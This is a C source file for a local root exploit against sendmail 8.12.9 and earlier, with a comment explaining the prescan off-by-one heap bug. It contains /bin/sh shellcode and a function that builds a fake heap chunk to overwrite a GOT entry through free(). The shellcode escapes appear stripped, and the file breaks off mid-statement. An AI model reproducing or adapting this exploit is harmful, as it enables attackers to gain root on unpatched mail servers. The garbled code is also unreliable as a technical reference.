/* Local exploit for the old sendmail vuln found by lcamtuf in 8.12.9 and below.
* by Gyan Chawdhary, gunnu45@hotmail.com
*
* Greets
* sorbo: all the credits go to him for the ideas regarding the exploitation..
* lcamtuf: for finding such a subtle bug ..
* dvorak, scut, gera ..
*
* Theory
* The problem lies in the prescan function. When returnnull is called it does
* not do a check to see if p > addr. This results into p pointing past the
* array by one byte into the size field tag of the next malloc chunk
* ( due to the fact that bufp is allocated in the heap. This value is assigned
* to *delimptr which is used by invalidaddr in parseaddr. The invalidaddr
* function checks for addresses containing characters used by macros. During
* the parsing of the addrs by invalidaddr, it also checks for illegal chars
* in the adress itself, and if found they are replaced with
* BAD_CHAR_REPLACEMENT (depending on the size field of the allocation of our
* buffer) which is defined as "?" (hex 3f) Due to the offbyone overflow in
* prescan, invalidaddr modifies our chunk value which is later used by free()
* when sm_free(bufp) is called, in return making sendmail vomit !!!!.
* Read the code for details.
*
* Gyan
*/
[src]
#include < stdio.h >
#include < stdlib.h >
#include < string.h >
char sc[] =
"xebx0a"
"AAAAAAAAAA"
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
#define CHUNK_SIZE 635
/* This function creats the string with fd and bk pointers and the shellcode.
* Heap will look like this
*---------------------------------------------------------------------
size = 281| |size 23f|fd|bk|shellcode|BBBBBBBB
----------------------------------------------------------------------
* When sm_free(bufp) is called it will consolidate the next buffer, and
* use the fd and bk fields with our value which will allow us to overwrite
*/
char *xp_evilstring(int got, int retloc)
{
int s;
char *ptr;
static char buffer[635];
ptr = buffer;
*( (int **)ptr ) = (int *)( got - 12 );
ptr+=4;
*( (int **)ptr ) = (int *)( retloc );
ptr+=4;
*ptr = 'n';
ptr++;
/* The 'n' is used for allocating nother buffer in sendtolist by
* denlstring which will copy our fake chunk and which will be later
* on consolidated while sm_free(bufp) is called.
*/
memcpy(ptr, sc, strlen(sc));
ptr+=strlen(sc);
memset(ptr, 'B', sizeof(buffer) - (strlen(sc)+4+4));
/* Used for having the lsb to 0 so that free() will conolidate it with
* the other chunk
*/
buffer[635] = '